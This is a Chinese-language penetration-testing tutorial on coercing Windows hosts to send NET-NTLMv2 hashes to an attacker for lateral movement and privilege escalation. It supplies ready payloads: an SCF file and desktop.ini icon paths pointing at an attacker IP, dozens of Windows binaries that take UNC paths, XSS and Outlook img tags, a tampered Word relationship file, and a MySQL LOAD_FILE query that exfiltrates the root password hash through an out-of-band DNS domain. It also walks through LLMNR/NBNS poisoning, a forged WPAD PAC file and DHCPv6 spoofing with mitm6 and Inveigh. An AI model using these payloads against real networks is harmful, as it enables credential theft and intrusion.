一、前言
在LM&NTLM基础篇中我们了解到了NTLM协议的流程与加密的方式,以及具体的在type3的response中Net-ntlm hash v2的生成方式。
思考:
如果我们入侵的服务器中有域管理员的登录后的密码缓存,那就能用工具(mimikatz)抓取服务器中的域管理员密码hash,从而随意登录内网中的设备;不过这种况是极其罕见的。
如果我们入侵到内网中且没有其他设备的密码,那我们该如何横向渗透呢?
这时就可以通过一些方式捕获type3中的Net-ntlm hash进行利用,那我们该怎样获取Net-ntlm hash呢?
二、捕获NET-NTLMv2 Hash的手段
2.0、开启监听
我们用工具在公网开启一个监听,目的是实时捕获内网服务器中发来的type3 Response信息中的NET-NTLMv2 Hash
捕获工具:Responder(具体参数用法以后单独介绍)
开启监听:


有了监听,我们就需要让服务器发起访问请求,基于NTLM协议发起协商(最关键的是客户端发送的type3数据包内容),然后Responder捕获NET-NTLMv2 Hash。
2.1、图标头像操作
2.1.1、修改文件图标路径(Windows_version<=7)
文件夹底下都有个文件desktop.ini来指定文件夹图标之类的。默认不可见。去掉隐藏受保护的操作系统文件就可以看到

将图标路径改成UNC路径,指向我们的服务器

当用户访问该文件夹的时候会去访问UNC路径,我们就能获取用户的net-ntlm hash:

不过这种手段在win7后就失去作用了,所以知道原理就行了。
2.1.2、scf文件(Windows_version<=7)
只要一个文件底下含有scf后缀的文件,由于scf文件包含了IconFile属性,所以Explore.exe会尝试获取文件的图标。而IconFile是支持UNC路径的。以下是scf后缀的文件的格式
[Shell]
Command=2
IconFile=\\172.16.100.1\scf\test.ico
[Taskbar]
Command=ToggleDesktop
新建test.scf,写入内容,放在一个文件夹底下,当用户访问该文件夹的时候,我们就会获得用户的net-ntlm hash。
2.1.3、用户头像(Windows_version=10/2016/2019)
在更改账户图片处。

用普通用户的权限指定一个webadv地址的图片,如果普通用户验证图片通过,那么SYSTEM用户(域内是机器用户)也去访问172.16.100.180,并且携带凭据,我们就可以拿到机器用户的net-ntlm hash,这个可以用来提权。
2.2、cmd命令执行
这个比较鸡肋,都能执行命令了,干啥不行呢。但作为一种场景,也说明下。说不定有些限制的命令注入就是支持传进UNC路径呢。我平时在测试的时候一般都是用 dir \\ip\xxx
来做测试的,很多cmd命令是支持传进UNC路径的,执行的时候我们就可以拿到用户的net-ntlm hash了。
> net.exe use \hostshare
> attrib.exe \hostshare
> bcdboot.exe \hostshare
> bdeunlock.exe \hostshare
> cacls.exe \hostshare
> certreq.exe \hostshare #(noisy, pops an error dialog)
> certutil.exe \hostshare
> cipher.exe \hostshare
> ClipUp.exe -l \hostshare
> cmdl32.exe \hostshare
> cmstp.exe /s \hostshare
> colorcpl.exe \hostshare #(noisy, pops an error dialog)
> comp.exe /N=0 \hostshare \hostshare
> compact.exe \hostshare
> control.exe \hostshare
> convertvhd.exe -source \hostshare -destination \hostshare
> Defrag.exe \hostshare
> diskperf.exe \hostshare
> dispdiag.exe -out \hostshare
> doskey.exe /MACROFILE=\hostshare
> esentutl.exe /k \hostshare
> expand.exe \hostshare
> extrac32.exe \hostshare
> FileHistory.exe \hostshare #(noisy, pops a gui)
> findstr.exe * \hostshare
> fontview.exe \hostshare #(noisy, pops an error dialog)
> fvenotify.exe \hostshare #(noisy, pops an access denied error)
> FXSCOVER.exe \hostshare #(noisy, pops GUI)
> hwrcomp.exe -check \hostshare
> hwrreg.exe \hostshare
> icacls.exe \hostshare
> licensingdiag.exe -cab \hostshare
> lodctr.exe \hostshare
> lpksetup.exe /p \hostshare /s
> makecab.exe \hostshare
> msiexec.exe /update \hostshare /quiet
> msinfo32.exe \hostshare #(noisy, pops a "cannot open" dialog)
> mspaint.exe \hostshare #(noisy, invalid path to png error)
> msra.exe /openfile \hostshare #(noisy, error)
> mstsc.exe \hostshare #(noisy, error)
> netcfg.exe -l \hostshare -c p -i foo
示例(Win11):


2.3、XSS
了解XSS的都知道,当用户访问浏览器的XSS脚本页面时,XSS就会执行。
利用xss构造
<script src="\\192.168.114.3\xss">
2.4、outlook
发送邮件是支持html的,而且outlook里面的图片加载路径又可以是UNC。于是我们构造payload
<img src="\\192.168.114.3\outlook">
当收件人打开outlook查看邮件的时候,就会触发访问我们的kali服务器,获取到用户的NET-NTLMv2 Hash。
2.5、PDF
PDF规范允许为GoTobe和GoToR条目加载远程内容。PDF文件可以添加一项功能,请求远程SMB服务器的文件。我们直接使用三好学生的脚本https://github.com/3gstudent/Worse-PDF

我们就能收到net-ntlmv2 hash
不过只能用Adobe打开才能生效
2.6、office
首先新建一个word,贴近一张图片

然后用7zip 打开(没测试其他软件,可自行测试)
进入word\_rels,修改document.xml.rels,可以看到Target参数本来是本地的路径,修改为UNC路径,然后加上TargetMode="External":


当打开word的时候,我们就拿到net-ntlm hash
2.7、MySQL
我们知道在MySQL注入的话,是可以通过带外通信把数据带出来。语法如下:
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user
WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));
需要具备load_file权限,且没有secure_file_priv的限制(5.5.53默认是空,之后的话默认为NULL就不好利用了,不排除一些管理员会改)
仔细观察我们会发现LOAD_FILE是支持UNC路劲
我们构造
select load_file('\\\\172.16.100.1\\mysql');
拿到net-ntlm hash

2.8、NBNS&LLMNR
windows 解析域名的顺序是
-
Hosts
-
DNS (cache / server)
-
LLMNR
-
NBNS
如果Hosts文件里面不存在,就会使用DNS解析。如果DNS解析失败,就会使用LLMNR解析,如果LLMNR解析失败,就会使用NBNS解析
参考ARP欺骗,也就是说当受害者访问一个不存在的域名的时候如aaaaaaa;受害者在Hosts 文件里面没有找到,通过DNS解析失败,就会通过LLMNR协议进行广播;这个时候攻击者就发个响应包 aaaaaaa对应的IP是x.x.x.x(这个ip是攻击者IP)进行LLMNR投毒。
这一步可以通过Responder 实现:

NBNS同理:

2.9、浏览器WPAD
wpad (Web Proxy Auto-Discovery Protocol)
通过让浏览器自动发现代理服务器,定位代理配置文件PAC(在下文也叫做PAC文件或者wpad.dat),下载编译并运行,最终自动使用代理访问网络。

默认自动检测设置是开启的。
PAC文件的格式如下:
function FindProxyForURL(url, host) {
if (url== 'http://www.baidu.com/') return 'DIRECT';
if (host== 'twitter.com') return 'SOCKS 127.0.0.10:7070';
if (dnsResolve(host) == '10.0.0.100') return 'PROXY 127.0.0.1:8086;DIRECT';
return 'DIRECT';
}
如下是流程图:

下列对WPAD的利用:
2.9.1、配合LLMNR/NBNS投毒(微软在2016年已打补丁)
用户在访问网页时,首先会查询PAC文件的位置。查询的地址是WPAD/wpad.dat。如果没有在域内专门配置这个域名的话,那么DNS解析失败的话,就会使用LLMNR发起广播包询问WPAD对应的ip是多少,这个时候我们就可以进行LLMNR投毒和NBNS投毒。
流程:
①受害者通过llmnr询问wpad主机在哪里,Responder通过llmnr投毒将wpad的ip指向Responder所在的服务器
②受害者访问WPAD/wpad.dat,Responder就能获取到用户的net-ntlm hash
③然后Responder通过伪造如下pac文件将代理指向 ISAProxySrv:3141
function FindProxyForURL(url, host){
if ((host == "localhost")
|| shExpMatch(host, "localhost.*")
||(host == "127.0.0.1")
|| isPlainHostName(host)) return "DIRECT";
if (dnsDomainIs(host, "RespProxySrv")
||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)"))
return "DIRECT";
return 'PROXY ISAProxySrv:3141; DIRECT';}
④受害者会使用ISAProxySrv:3141作为代理,但是受害者不知道ISAProxySrv对应的ip是什么,所以会再次查询,Responder再次通过llmnr投毒进行欺骗。将ISAProxySrv指向Responder本身。然后开始中间人攻击。
微软补丁:
1、系统再也无法通过广播协议来解析WPAD文件的位置,只能通过使用DHCP或DNS协议完成该任务。
2、更改了PAC文件下载的默认行为,以便当WinHTTP请求PAC文件时,不会自动发送客户端的域凭据来响应NTLM或协商身份验证质询。
2.9.2、mitm6配合DHCPv6(绕过补丁)
mitm6首先侦听攻击者计算机的某个网卡上的DHCPV6流量

当目标计算机重启或重新进行网络配置(如重新插入网线)时, 将会向DHCPv6发送请求获取IPv6配置
这个时候mitm6将回复这些DHCPv6请求,并在链接本地范围内为受害者分配一个IPv6地址,让受害者认为mitm6是DHCPv6服务器
这个时候受害者的dns 服务器的地址已经设置为攻击者的IPv6地址。一旦受害机器将攻击者设置为IPv6 DNS服务器,它将立即开始查询网络的WPAD配置。由于这些DNS查询是发送给攻击者的,因此攻击者仅可以使用自己的IP地址作为WPAD对应的IP地址。
2.9.3、Inveigh配合DHCPv6
①启一个公网Responder(10.10.10.1)监听,把下面参数置为OFF
FTP server [OFF]
IMAP server [OFF]
POP3 server [OFF]
SMTP server [OFF]
②使用Inveigh.exe在内网投毒,指定公网ip(10.10.10.1),在内网服务器中运行
Inveigh.exe -DHCPv6 Y -SpoofIP 启动进程
③这时当受害用户重启并登录该被入侵的服务器,就会进行DHCPv6的广播,然后Inveigh.exe进程就会伪装成DHCPv6服务器与被入侵的建立联系
④这时,当用户使用浏览器访问任意网页时,浏览器(开启WPAD)就会寻找代理服务器,这时被入侵的服务器就会被Inveigh.exe引导到Responder(10.10.10.1)
-------------下面可以参考[2.9.1、配合LLMNR/NBNS投毒(微软在2016年已打补丁)]-------------------
⑤受害者通过llmnr询问wpad主机ip在哪里(http://wpad主机ip/wpad.dat),Responder通过llmnr投毒将wpad的ip指向Responder所在的服务器
⑥受害者访问WPAD/wpad.dat
⑦然后Responder通过伪造如下pac文件将代理指向 ISAProxySrv:3141
javascript
function FindProxyForURL(url, host){
if ((host == "localhost")
|| shExpMatch(host, "localhost.*")
||(host == "127.0.0.1")
|| isPlainHostName(host)) return "DIRECT";
if (dnsDomainIs(host, "RespProxySrv")
||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)"))
return "DIRECT";
return 'PROXY ISAProxySrv:3141; DIRECT';}
⑧受害者会使用ISAProxySrv:3141作为代理,但是受害者不知道ISAProxySrv对应的ip是什么,所以会再次查询,Responder再次通过llmnr投毒进行欺骗。将ISAProxySrv指向Responder本身。然后开始中间人攻击。